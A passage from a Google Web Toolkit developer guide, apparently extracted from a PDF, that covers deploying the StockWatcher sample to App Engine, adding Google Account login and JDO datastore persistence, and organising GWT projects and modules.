<target name="devmode" depends="javac" description="Run development mode""> <java failonerror="true" fork="true" classname="com.google.gwt.dev.DevMode""> <classpath> <pathelement location="src"/> <path refid="project.class.path"/> <path refid="tools.class.path"/> </classpath> <jvmarg value="-Xmx256M"/> <arg value="-startupUrl"/> <arg value="StockWatcher.html"/> <!-- Additional arguments like -style PRETTY or -logLevel DEBUG --> <arg value="-server"/> <arg value="com.google.appengine.tools.development.gwt.AppEngineLauncher"/> <arg value="com.google.gwt.sample.stockwatcher.StockWatcher"/> </java> </target>

Test locally
We will run the application in GWT development mode to verify the project was set up successfully. However, instead of using the servlet container which comes with GWT, the application will run in the App Engine development server, the servlet container which comes with the App Engine SDK. What's the difference? The App Engine development server is configured to mimic the App Engine production environment.

Run the application in development mode (with Eclipse)
1. In the Package Explorer view, select the StockWatcher project. 2. In the toolbar, click the Run button (Run as Web Application).

147 / 469

Run the application in development mode (without Eclipse)
1. From the command-line, change to the StockWatcher directory. 2. Execute:
ant devmode

3.6.2.

Deploy the application to App Engine

Now that we've verified the StockWatcher project is running locally in GWT development mode and with the App Engine development server, we can run the application on App Engine.

Deploy the application to App Engine (with Eclipse)
1. In the Package Explorer view, select the StockWatcher project. 2. In the toolbar, click the Deploy App Engine Project button . 3. (First time only) Click the "App Engine project settings..." link to specify your application ID. Click the OK button when you're finished. 4. Enter your Google Accounts email and password. Click the Deploy button. You can watch the deployment progress in the Eclipse Console.

Deploy the application to App Engine (without Eclipse)
1. From the command-line, change to the StockWatcher directory. 2. Compile the application by executing:
ant build

Tip: Add the ant bin directory to your environment PATH to avoid having to specify the full path to ant. 3. appcfg is a command-line tool which comes with the App Engine SDKs. Upload the application by executing:
appcfg.sh update war

From the Windows command prompt, the command is appcfg update war. The first parameter is the action to perform. The second parameter is the directory with the update, which in this case is a relative directory containing the static files and output from the GWT compiler. Enter your Google Accounts email and password when prompted. Tip: Add the App Engine SDK bin directory to your environment PATH to avoid having to specify the full path to appcfg.sh.

Test on App Engine
Test your uploaded application by opening a web browser to http://application-id.appspot.com/ where application-id is the App Engine application ID that you created earlier. The StockWatcher application is now running on App Engine under your application ID.

148 / 469

3.6.3.

Personalize the application with the User Service

Overview
Now that the StockWatcher is deployed on App Engine, we can start using some of the available services to enrich the application. We'll start by persisting stock quote listings on a per user basis. This is possible due to the datastore service, which allows us to save application data, as well as the User Service, which allows us to have users login and save stock quote listings for each user. For persistence, we'll use the Java Data Objects (JDO) interface provided by the App Engine SDK. To implement login functionality we'll use the User Serivce. With this service in place, any user with a Google Account will be able to login using their account to access the StockWatcher application. In this section, you'll use the App Engine User API to add user login to the application. The App Engine User Service is very easy to use. First, you need to instantiate the UserService class, as shown in the code snippet below:
UserService userService = UserServiceFactory.getUserService();

Next, you need to get the current user who is accessing the StockWatcher application:
User user = userService.getCurrentUser();

The UserService returns an instantiated User object if the current user who is accessing the application is logged into their Google Account. The User object contains useful information such as the email address associated with the account, as well as the account nickname. If the person accessing the application is not logged into their account, or doesn't have a Google Account, the returned User object will be null. In this case we have a number of options available to us in how we want to handle the situation, but for the purposes of the StockWatcher application, we will point the user to a login URL where they will be able to log into their Google Account. The User API offers an easy way to generate the login URL. Simply calling the UserService createLoginURL(String requestUri) method, which gives you the redirect login URL to send the user to the Google Account login screen. Once they log in, the App Engine container will know where to redirect the user based on the requestUri that you provide when making the createLoginURL() call.

Define the Login RPC service
To make this more concrete, let's create a login RPC service for the StockWatcher application. If you're not familiar with GWT RPC, see the previous tutorial. First, create the LoginInfo object which will contain the login info from the User service.

149 / 469

LoginInfo.java:
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class LoginInfo implements Serializable { private private private private private boolean loggedIn = false; String loginUrl; String logoutUrl; String emailAddress; String nickname;

public boolean isLoggedIn() { return loggedIn; } public void setLoggedIn(boolean loggedIn) { this.loggedIn = loggedIn; } public String getLoginUrl() { return loginUrl; } public void setLoginUrl(String loginUrl) { this.loginUrl = loginUrl; } public String getLogoutUrl() { return logoutUrl; } public void setLogoutUrl(String logoutUrl) { this.logoutUrl = logoutUrl; } public String getEmailAddress() { return emailAddress; } public void setEmailAddress(String emailAddress) { this.emailAddress = emailAddress; } public String getNickname() { return nickname; } public void setNickname(String nickname) { this.nickname = nickname; }

}

LoginInfo is serializable since it is the return type of an RPC method. Next, create the LoginService and LoginServiceAsync interfaces.

LoginService.java:
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("login") public interface LoginService extends RemoteService { public LoginInfo login(String requestUri); }

The path annotation "login" will be configured below.

150 / 469

LoginServiceAsync.java:
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface LoginServiceAsync { public void login(String requestUri, AsyncCallback<LoginInfo> async); }

Create the LoginServiceImpl class in the com.google.gwt.sample.stockwatcher.server package as follows:

LoginServiceImpl.java:
package com.google.gwt.sample.stockwatcher.server; import import import import import import com.google.appengine.api.users.User; com.google.appengine.api.users.UserService; com.google.appengine.api.users.UserServiceFactory; com.google.gwt.sample.stockwatcher.client.LoginInfo; com.google.gwt.sample.stockwatcher.client.LoginService; com.google.gwt.user.server.rpc.RemoteServiceServlet;

public class LoginServiceImpl extends RemoteServiceServlet implements LoginService { public LoginInfo login(String requestUri) { UserService userService = UserServiceFactory.getUserService(); User user = userService.getCurrentUser(); LoginInfo loginInfo = new LoginInfo(); if (user != null) { loginInfo.setLoggedIn(true); loginInfo.setEmailAddress(user.getEmail()); loginInfo.setNickname(user.getNickname()); loginInfo.setLogoutUrl(userService.createLogoutURL(requestUri)); } else { loginInfo.setLoggedIn(false); loginInfo.setLoginUrl(userService.createLoginURL(requestUri)); } return loginInfo;

} }

Lastly, configure the servlet in your web.xml file. The mapping is composed of the rename-to attribute in the GWT module definition (stockwatcher) and the RemoteServiceRelativePath annotation(login). Also, because the greetServlet is not needed for this application, its configuration can be deleted.

151 / 469

web.xml:
<?xml version="1.0" encoding="UTF-8"?> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>loginService</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.LoginServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>loginService</servlet-name> <url-pattern>/stockwatcher/login</url-pattern> </servlet-mapping> </web-app>

Update the StockWatcher UI
Now that the login RPC service is in place, the last thing to do is to make the call to the service from the StockWatcher entry point class. However, we must consider how the application flow changes now that we've added login functionality. In the previous version of the application, you could load the StockWatcher unconditionally because it didn't require any login. Now that we are requiring user login, we have to change the loading logic a bit. For one, if the user is already logged in, the application can proceed and load the StockWatcher. If, however, the user is not logged in, we have to redirect them to the login page. Once logged in, they will be redirected back to the StockWatcher host page where we'll need to check once more that they have indeed been authenticated. If the authentication check passes, then we can load the stock watcher. The key thing to notice is that loading the stock watcher is contingent on the result of the login. This means the logic that loads the StockWatcher must be called only once login has passed. This will require a bit of refactoring. If you're using Eclipse, this will be easy to do. Simply select the code in the StockWatcher onModuleLoad() method, select the "Refactor" menu, and click on the "Extract Method..." function. From there you can declare the extracted method something suitable, like private void loadStockWatcher(). You should end up with something similar to the following:

StockWatcher.java:
public void onModuleLoad() { loadStockWatcher(); } private void loadStockWatcher() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); ... }

Now that you've refactored the StockWatcher loading logic to a callable method, we can make the login RPC service call in the onModuleLoad() method and call the loadStockWatcher() method when login passes. However, if the user isn't logged in, you'll need to give them some kind of indication that they need to log in to proceed. For this, it makes sense to use a Login panel along with accompanying label and button to instruct the user to proceed to login. Considering all of these, you should add something similar to the following to your StockWatcher entry point class:

152 / 469

StockWatcher.java
import com.google.gwt.user.client.ui.Anchor; ... private LoginInfo loginInfo = null; private VerticalPanel loginPanel = new VerticalPanel(); private Label loginLabel = new Label("Please sign in to your Google Account to access the StockWatcher application."); private Anchor signInLink = new Anchor("Sign In"); public void onModuleLoad() { // Check login status using login service. LoginServiceAsync loginService = GWT.create(LoginService.class); loginService.login(GWT.getHostPageBaseURL(), new AsyncCallback<LoginInfo>() { public void onFailure(Throwable error) { } public void onSuccess(LoginInfo result) { loginInfo = result; if(loginInfo.isLoggedIn()) { loadStockWatcher(); } else { loadLogin(); } } }); } private void loadLogin() { // Assemble login panel. signInLink.setHref(loginInfo.getLoginUrl()); loginPanel.add(loginLabel); loginPanel.add(signInLink); RootPanel.get("stockList").add(loginPanel); }

Another important point about login functionality is the ability to sign out of the application. This is something you should add to the StockWatcher application as well. Fortunately, the User Service provides us with a logout URL through a similar call as the createLoginURL(String requestUri) method. We can add this to the StockWatcher sample application by adding the following snippets:

StockWatcher.java
private Anchor signInLink = new Anchor("Sign In"); private Anchor signOutLink = new Anchor("Sign Out"); ... private void loadStockWatcher() { // Set up sign out hyperlink. signOutLink.setHref(loginInfo.getLogoutUrl()); // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); ... // Assemble Main panel. mainPanel.add(signOutLink); mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel);

153 / 469

Test User Service features
You can repeat the instructions above to run the application locally or on App Engine. If you run the application in development mode with the App Engine development server, the sign in page will allow you to enter any email address (for ease in testing). If you deploy your application to App Engine, the sign in page will require users to sign in to a Google Account in order to access the application.

3.6.4.

Store data in the datastore

Overview
The datastore service available to the App Engine Java runtime is the same service available to the Python runtime. To access this service in Java, you may use the low-level datastore API, Java Data Objects (JDO), or Java Persistence API (JPA). For this sample we will use JDO.

Define the Stock RPC service
We will create a basic stock service to handle the persistence of users' stocks. We will also expose this service as a GWT RPC service.

StockService.java
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("stock") public interface StockService extends RemoteService { public void addStock(String symbol) throws NotLoggedInException; public void removeStock(String symbol) throws NotLoggedInException; public String[] getStocks() throws NotLoggedInException; }

StockServiceAsync.java
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface StockServiceAsync { public void addStock(String symbol, AsyncCallback<Void> async); public void removeStock(String symbol, AsyncCallback<Void> async); public void getStocks(AsyncCallback<String[]> async); }

154 / 469

StockWatcher.java
public class StockWatcher implements EntryPoint { private static final int REFRESH_INTERVAL = 5000; // ms private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button("Add"); private Label lastUpdatedLabel = new Label(); private ArrayList stocks = new ArrayList(); private LoginInfo loginInfo = null; private VerticalPanel loginPanel = new VerticalPanel(); private Label loginLabel = new Label("Please sign in to your Google Account to access the StockWatcher application."); private Anchor signInLink = new Anchor("Sign In"); private final StockServiceAsync stockService = GWT.create(StockService.class);

A checked exception will indicate that the user is not logged in yet. Such a scenario is possible since a RPC call can be received by the stock service even if there is no current user. The class is serializable so that it may be returned by the RPC call via the AsyncCallback onFailure(Throwable error) method. You could also implement security with a servlet filter or Spring security.

NotLoggedInException.java
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class NotLoggedInException extends Exception implements Serializable { public NotLoggedInException() { super(); } public NotLoggedInException(String message) { super(message); } }

The Stock class is what is persisted with JDO. The specifics of how it is persisted are dictated by the JDO annotations. In particular: • • • • The PersistenceCapable annotation tells the DataNucleus byte-code enhancer to process this class. The PrimaryKey annotation designates an id attribute for storing its primary key. In this class, every attribute is persisted. However you can designate attributes as not being persisted with the NotPersistent annotation. The User attribute is a special App Engine type which can allow you to identify users across email address changes.

155 / 469

Stock.java
package com.google.gwt.sample.stockwatcher.server; import import import import import import import java.util.Date; javax.jdo.annotations.IdGeneratorStrategy; javax.jdo.annotations.IdentityType; javax.jdo.annotations.PersistenceCapable; javax.jdo.annotations.Persistent; javax.jdo.annotations.PrimaryKey; com.google.appengine.api.users.User;

@PersistenceCapable(identityType = IdentityType.APPLICATION) public class Stock { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Long id; @Persistent private User user; @Persistent private String symbol; @Persistent private Date createDate; public Stock() { this.createDate = new Date(); } public Stock(User user, String symbol) { this(); this.user = user; this.symbol = symbol; } public Long getId() { return this.id; } public User getUser() { return this.user; } public String getSymbol() { return this.symbol; } public Date getCreateDate() { return this.createDate; } public void setUser(User user) { this.user = user; } public void setSymbol(String symbol) { this.symbol = symbol; } }

This class implements the stock service and includes calls to the JDO API for persisting stock data. Things to notice: • • • • The messages logged by the logger are viewable when you inspect your application in the App Engine Administration Console. The PersistenceManagerFactory singleton is created from the properties named "transactions-optional" in jdoconfig.xml above. The checkedLoggedIn method is called whenever we want to make sure a user is logged in. The getUser method uses the UserService.

156 / 469

StockServiceImpl.java
package com.google.gwt.sample.stockwatcher.server; import import import import import import import import import import import import import import java.util.ArrayList; java.util.List; java.util.logging.Level; java.util.logging.Logger; javax.jdo.JDOHelper; javax.jdo.PersistenceManager; javax.jdo.PersistenceManagerFactory; javax.jdo.Query; com.google.appengine.api.users.User; com.google.appengine.api.users.UserService; com.google.appengine.api.users.UserServiceFactory; com.google.gwt.sample.stockwatcher.client.NotLoggedInException; com.google.gwt.sample.stockwatcher.client.StockService; com.google.gwt.user.server.rpc.RemoteServiceServlet;

public class StockServiceImpl extends RemoteServiceServlet implements StockService { private static final Logger LOG = Logger.getLogger(StockServiceImpl.class.getName()); private static final PersistenceManagerFactory PMF = JDOHelper.getPersistenceManagerFactory("transactions-optional"); public void addStock(String symbol) throws NotLoggedInException { checkLoggedIn(); PersistenceManager pm = getPersistenceManager(); try { pm.makePersistent(new Stock(getUser(), symbol)); } finally { pm.close(); } } public void removeStock(String symbol) throws NotLoggedInException { checkLoggedIn(); PersistenceManager pm = getPersistenceManager(); try { long deleteCount = 0; Query q = pm.newQuery(Stock.class, "user == u"); q.declareParameters("com.google.appengine.api.users.User u"); List<Stock> stocks = (List<Stock>) q.execute(getUser()); for (Stock stock : stocks) { if (symbol.equals(stock.getSymbol())) { deleteCount++; pm.deletePersistent(stock); } } if (deleteCount != 1) { LOG.log(Level.WARNING, "removeStock deleted "+deleteCount+" Stocks"); } } finally { pm.close(); } } public String[] getStocks() throws NotLoggedInException { checkLoggedIn(); PersistenceManager pm = getPersistenceManager(); List<String> symbols = new ArrayList<String>(); try { Query q = pm.newQuery(Stock.class, "user == u"); q.declareParameters("com.google.appengine.api.users.User u"); q.setOrdering("createDate"); List<Stock> stocks = (List<Stock>) q.execute(getUser()); for (Stock stock : stocks) { symbols.add(stock.getSymbol()); } } finally { pm.close();

157 / 469

} return (String[]) symbols.toArray(new String[0]); } private void checkLoggedIn() throws NotLoggedInException { if (getUser() == null) { throw new NotLoggedInException("Not logged in."); } } private User getUser() { UserService userService = UserServiceFactory.getUserService(); return userService.getCurrentUser(); } private PersistenceManager getPersistenceManager() { return PMF.getPersistenceManager(); } }

Now that the GWT RPC service is implemented, we'll make sure the servlet container knows about it. The mapping /stockwatcher/stock is composed of the rename-to attribute in the GWT module definition (stockwatcher) and the RemoteServiceRelativePath annotation (stock).

web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>loginService</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.LoginServiceImpl</servlet-class> </servlet> <servlet> <servlet-name>stockService</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.StockServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>loginService</servlet-name> <url-pattern>/stockwatcher/login</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>stockService</servlet-name> <url-pattern>/stockwatcher/stock</url-pattern> </servlet-mapping> </web-app>

Update the StockWatcher UI
Retrieving stocks
When the StockWatcher application loads, it should be prepopulated with the user's stocks. In order to reuse the existing code which displays a stock, we will refactor StockWatcher addStock() so that the logic for displaying the new stock is in a new displayStock(String symbol) method.

158 / 469

private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9a-zA-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); newSymbolTextBox.selectAll(); return; } newSymbolTextBox.setText(""); // Don't add the stock if it's already in the table. if (stocks.contains(symbol)) return; displayStock(symbol); } private void displayStock(final String symbol) { // Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.setWidget(row, 2, new Label()); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericCol umn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericCol umn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColu mn"); // Add a button to remove this stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addStyleDependentName("remove"); removeStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex + 1); } }); stocksFlexTable.setWidget(row, 3, removeStockButton); // Get the stock price. refreshWatchList(); }

After the stock table is set up is an appropriate time to load the stocks.
private void loadStockWatcher() { ... stocksFlexTable.setCellPadding(5); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 3, "watchListRemoveColumn"); loadStocks(); ... }

The loadStocks() method calls the StockService defined earlier. The RPC returns an array of stock symbols, which are displayed individually using the method displayStock(String symbol).

159 / 469

private void loadStocks() { stockService.getStocks(new AsyncCallback<String[]>() { public void onFailure(Throwable error) { } public void onSuccess(String[] symbols) { displayStocks(symbols); } }); } private void displayStocks(String[] symbols) { for (String symbol : symbols) { displayStock(symbol); } }

Adding stocks
Instead of just displaying stocks when they are added, we will call the StockService to save the new stock symbol to the datastore.
private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9a-zA-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); newSymbolTextBox.selectAll(); return; } newSymbolTextBox.setText(""); // Don't add the stock if it's already in the table. if (stocks.contains(symbol)) return; displayStock(symbol); addStock(symbol); } private void addStock(final String symbol) { stockService.addStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { } public void onSuccess(Void ignore) { displayStock(symbol); } }); } private void displayStock(final String symbol) { // Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); ... }

Removing stocks
And instead of simply removing stocks from display, we will call the StockService to remove the stock symbol from the datastore.

160 / 469

private void displayStock(final String symbol) { ... // Add a button to remove this stock from the table. Button removeStock = new Button("x"); removeStock.addStyleDependentName("remove"); removeStock.addClickHandler(new ClickHandler(){ public void onClick(ClickEvent event) { removeStock(symbol); } }); stocksFlexTable.setWidget(row, 3, removeStock); // Get the stock price. refreshWatchList(); } private void removeStock(final String symbol) { stockService.removeStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { } public void onSuccess(Void ignore) { undisplayStock(symbol); } }); } private void undisplayStock(String symbol) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex+1); }

Error handling
When one of the RPC calls results in an error, we want to display the message to the user. Furthermore, recall that the StockService throws a NotLoggedInException if for some reason the user is no longer logged in to his Google Account:
private void checkLoggedIn() throws NotLoggedInException { if (getUser() == null) { throw new NotLoggedInException("Not logged in."); } }

If we receive this error, we will redirect the user to the logout URL. Here's a helper method to accomplish these two error handling requirements.
private void handleError(Throwable error) { Window.alert(error.getMessage()); if (error instanceof NotLoggedInException) { Window.Location.replace(loginInfo.getLogoutUrl()); } }

We can add this to each AsyncCallback onFailure(Throwable error) method.
loginService.login(GWT.getHostPageBaseURL(), new AsyncCallback<LoginInfo>() { public void onFailure(Throwable error) { handleError(error); } ... }

161 / 469

stockService.getStocks(new AsyncCallback<String[]>() { public void onFailure(Throwable error) { handleError(error); } ... });

stockService.addStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { handleError(error); } ... });

stockService.removeStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { handleError(error); } ... });

Test Datastore features
You can repeat the instructions above to run the application locally or on App Engine. If you encounter runtime errors, examine the logs in the App Engine Administration Console.

Further exercises
Users can now sign in to Google Account and manage their own stock lists in the StockWatcher application running on App Engine. Here are some suggested enhancements you can try as exercises: • • • Loading the stock list has a noticeable delay. Add a UI element to indicate that the stock list is loading. Add more attributes to the Stock class. What happens to the data which was saved before these attributes were added? The StockService does not detect when one user has signed out and another user has signed in. How would you modify the application to handle this edge case?

162 / 469

4.
4.1.

Documentation

Organize Projects

GWT projects can be organized in a variety of ways. However, particular conventions are encouraged to make it easy to identify which code is intended to run on the client browser, the server, or both. This section describes the fundamentals of project organization with GWT as well as the recommended conventions. 1. 2. 3. 4. 5. 6. 7. 8. HTML Host Pages Standard Directory and Package Layout Modules: Units of configuration Module XML files How do I know which GWT modules I need to inherit? Automatic Resource Inclusion Filtering Public and Source Packages The Bootstrap Sequence

4.1.1.

HTML Host Pages

GWT modules are stored on a web server as a set of JavaScript and related files. In order to run the module, it must be loaded from a web page of some sort. Any HTML page can include a GWT application via a SCRIPT tag. This HTML page is referred to as a host page from the GWT application's point of view. A typical HTML host page for an application written with GWT from scratch might not include any visible HTML body content at all. The example below shows how to embed a GWT application that will use the entire browser window.
<html> <head> <!-- Properties can be specified to influence deferred binding --> <meta name='gwt:property' content='locale=en_UK'> <!-- Stylesheets are optional, but useful --> <link rel="stylesheet" href="Calendar.css"> <!-- Titles are optional, but useful --> <title>Calendar App</title> </head> <body> <!-- This script tag is what actually loads the GWT module. The --> <!-- 'nocache.js' file (also called a "selection script") is --> <!-- produced by the GWT compiler in the module output directory --> <!-- or generated automatically in development mode. --> <script language="javascript" src="calendar/calendar.nocache.js"></script> <!-- Include a history iframe to enable full GWT history support --> <!-- (the id must be exactly as shown) --> <iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe> </body> </html>

Note that the body of the page contains only a SCRIPT tag and an IFRAME tag. It is left to the GWT application to then fill in all the visual content. But GWT was designed to make it easy to add GWT functionality to existing web applications with only minor changes. It is possible to allow the GWT module to selectively insert widgets into specific places in an HTML page. To accomplish this, use the id attribute in your HTML tags to specify a unique identifier that your GWT code will use to attach widgets to that HTML element. For example:

163 / 469

<body> <!-- ... other sample HTML omitted <table align=center> <tr> <td id="slot1"></td> <td id="slot2"></td> </tr> </table> </body>

-->

Notice that the td tags include an id attribute associated with them. This attribute is accessible through the DOM class. You can easily attach widgets using the method RootPanel.get(). For example:
final Button button = new Button("Click me"); final Label label = new Label(); ... RootPanel.get("slot1").add(button); RootPanel.get("slot2").add(label);

In this manner, GWT functionality can be added as just a part of an existing page, and changing the application layout can be done in plain HTML. The I18N sample uses this technique heavily. A host HTML page does not have to be static content. It could also be generated by a servlet, or by a JSP page.

4.1.2.

Standard Directory and Package Layout

GWT projects are overlaid onto Java packages such that most of the configuration can be inferred from the classpath and the module definitions.

164 / 469

Guidelines
If you are not using the Command-line tools to generate your project files and directories, here are some guidelines to keep in mind when organizing your code and creating Java packages. 1. Under the main project directory create the following directories: • src folder - contains production Java source • war folder - your web app; contains static resources as well as compiled output • test folder - (optional) JUnit test code would go here 2. Within the src package, create a project root package and a client package. 3. If you have server-side code, also create a server package to differentiate between the client-side code (which is translated into JavaScript) from the server-side code (which is not). 4. Within the project root package, place one or more module definitions. 5. In the war directory, place any static resources (such as the host page, style sheets, or images). 6. Within the client and server packages, you are free to organize your code into any subpackages you require.

Example: GWT standard package layout
For example, all the files for the "DynaTable" sample are organized in a main project directory also called "DynaTable". • • • • Java source files are in the directory: DynaTable/src/com/google/gwt/sample/dynatable The module is defined in the XML file: DynaTable/src/com/google/gwt/sample/dynatable/DynaTable.gwt.xml The project root package is: com.google.gwt.sample.dynatable The logical module name is: com.google.gwt.sample.dynatable.DynaTable

The src directory
The src directory contains an application's Java source files, the module definition, and external resource files. Package com.google.gwt. sample.dynatable File Purpose The project root package contains module XML files. Your application module. Inherits com.google.gwt.user.User and adds an entry point class, com.google.gwt.sample.dynatable. client.DynaTable. Static resources that are loaded programmatically by GWT code. Files in the public directory are copied into the same directory as the GWT compiler output. An image file available to the application code. You might load this file programmatically using this URL: GWT.getModuleBaseURL() + "logo.gif". Client-side source files and subpackages.

com.google.gwt. sample.dynatable

DynaTable.gwt.xml

com.google.gwt. sample.dynatable

com.google.gwt. sample.dynatable

logo.gif

com.google.gwt. sample.dynatable. client com.google.gwt. sample.dynatable. client com.google.gwt. sample.dynatable. client DynaTable.java

Client-side Java source for the entry-point class.

SchoolCalendarService.java

An RPC service interface.

165 / 469

com.google.gwt. sample.dynatable. server com.google.gwt. sample.dynatable. server SchoolCalendarServiceImpl.java

Server-side code and subpackages.

Server-side Java source that implements the logic of the service.

The war directory
The war directory is the deployment image of your web application. It is in the standard expanded war format recognized by a variety of Java web servers, including Tomcat, Jetty, and other J2EE servlet containers. It contains a variety of resources: • • • • Static content you provide, such as the host HTML page GWT compiled output Java class files and jar files for server-side code A web.xml file that configures your web app and any servlets

A detailed description of the war format is beyond the scope of this document, but here are the basic pieces you will want to know about: Directory DynaTable/war/ DynaTable/war/ File DynaTable.html DynaTable.css Purpose A host HTML page that loads the DynaTable app. A static style sheet that styles the DynaTable app. The DynaTable module directory where the GWT compiler writes output and files on the public path are copied. NOTE: by default this directory would be the long, fully-qualified module name com.google.gwt.sample.dynatable.DynaTab le. However, in our GWT module XML file we used the rename-to="dynatable" attribute to shorten it to a nice name. The "selection script" for DynaTable. This is the dynatable.nocache.js script that must be loaded from the host HTMLto load the GWT module into the page. All non-public resources live here, see the servlet specification for more detail. web.xml Configures your web app and any servlets. Java compiled class files live here to implement server side functionality. If you're using an IDE set the output directory to this folder. Any library dependencies your server code needs goes here. gwt-servlet.jar If you have any servlets using GWT RPC, you will need to place a copy of gwt-servlet.jar here.

DynaTable/war/dynatable/

DynaTable/war/dynatable/

DynaTable/war/WEB-INF DynaTable/war/WEB-INF DynaTable/war/WEBINF/classes DynaTable/war/WEB-INF/lib DynaTable/war/WEB-INF/lib

166 / 469

The test directory
The test directory contains the source files for any JUnit tests. Package com.google.gwt.sample. dynatable.client com.google.gwt.sample. dynatable.client com.google.gwt.sample. dynatable.server com.google.gwt.sample. dynatable.server SchoolCalendarServiceImplTest.java DynaTableTest.java File Purpose Client-side test files and subpackages. Test cases for the entry-point class. Server-side test files and subpackages. Test cases for server classes.

4.1.3.

Modules: Units of configuration

Individual units of GWT configuration are called modules. A module bundles together all the configuration settings that your GWT project needs: • • • • • inherited modules an entry point application class name; these are optional, although any module referred to in HTML must have at least one entry-point class specified source path entries public path entries deferred binding rules, including property providers and class generators

Modules are defined in XML and placed into your project's package hierarchy. Modules may appear in any package in your classpath, although it is strongly recommended that they appear in the root package of a standard project layout.

Entry-Point Classes
A module entry-point is any class that is assignable to EntryPoint and that can be constructed without parameters. When a module is loaded, every entry point class is instantiated and its EntryPoint.onModuleLoad() method gets called.

Source Path
Modules can specify which subpackages contain translatable source, causing the named package and its subpackages to be added to the source path. Only files found on the source path are candidates to be translated into JavaScript, making it possible to mix client-side and server-side code together in the same classpath without conflict. When module inherit other modules, their source paths are combined so that each module will have access to the translatable source it requires. The default source path is the client subpackage underneath where the Module XML File is stored.

Public Path
Modules can specify which subpackages are public, causing the named package and its subpackages to be added to the public path. The public path is the place in your project where static resources referenced by your GWT module, such as CSS or images, are stored. When you compile your application into JavaScript, all the files that can be found on your public path are copied to the module's output directory. When referencing public resources in client code (for example, setting the URL of an Image widget, you should construct the URL like this: GWT.getModuleBaseURL() + "resourceName.png". When referencing public resources from a Module XML File, just use the relative path within the public folder, the module's base URL will be prepended automatically. When amodule inherits other modules, their public paths are combined so that each module will have access to the static resources it expects. The default public path is the public subdirectory underneath where the Module XML File is stored.

167 / 469

4.1.4.

Defining a module: format of module XML files

Modules are defined in XML files with a file extension of .gwt.xml. Module XML files should reside in your project's root package. If you are using the standard project structure, your module XML can be as simple as the following example:
<module rename-to="dynatable"> <inherits name="com.google.gwt.user.User" /> <entry-point class="com.google.gwt.sample.dynatable.client.DynaTable" /> </module>

Loading modules
Module XML files are found on the Java classpath. Modules are always referred to by their logical names. The logical name of a module is of the form pkg1.pkg2.ModuleName (although any number of packages may be present). The logical name includes neither the actual file system path nor the file extension. For example, if the module XML file has a file name of...
~/src/com/example/cal/Calendar.gwt.xml

...then the logical name of the module is:
com.example.cal.Calendar

Renaming modules
